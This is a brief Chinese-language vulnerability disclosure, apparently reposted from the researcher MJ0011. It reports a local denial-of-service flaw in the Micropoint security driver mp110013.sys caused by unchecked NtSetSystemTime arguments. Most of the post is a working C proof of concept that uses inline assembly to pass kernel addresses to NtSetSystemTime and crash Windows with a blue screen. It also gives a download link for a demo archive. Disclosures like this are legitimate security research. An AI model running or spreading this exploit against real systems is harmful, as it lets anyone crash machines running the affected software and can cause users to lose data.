微点主动防备 mp110013.sys <= 1.3.10123.0 NtSetSystemTimeHook 本...[网络技术]

From:mj0011

产品版本:微点主动防 御:mp.100323.1.2.10581.0278.r1

文件版本:mp110013.sys 1.3.10123.0 timestamp:4BA1863F checksum 1e7b8

问题:不精确地处理NtSetSystemTime的参数,引发本地回绝服务漏洞

测试程序:http://mj0011.ys168.com 漏洞演示目录下 mpbsod_fun.rar

POC code:

int main(int argc, char* argv[])
{
printf(“Micropoint Local D.O.S Vulnerability\n”
“BSOD Micropoint for fun!\n”
“By MJ0011\nth_decoder$126.com\n\nPress Enter…\n”);
getchar();
PVOID pAddr = GetProcAddress(GetModuleHandle(“ntdll.dll”) , “NtSetSystemTime”);

__asm
{
push 0×80000000
push 0×80000000
call pAddr
}
return 0;
}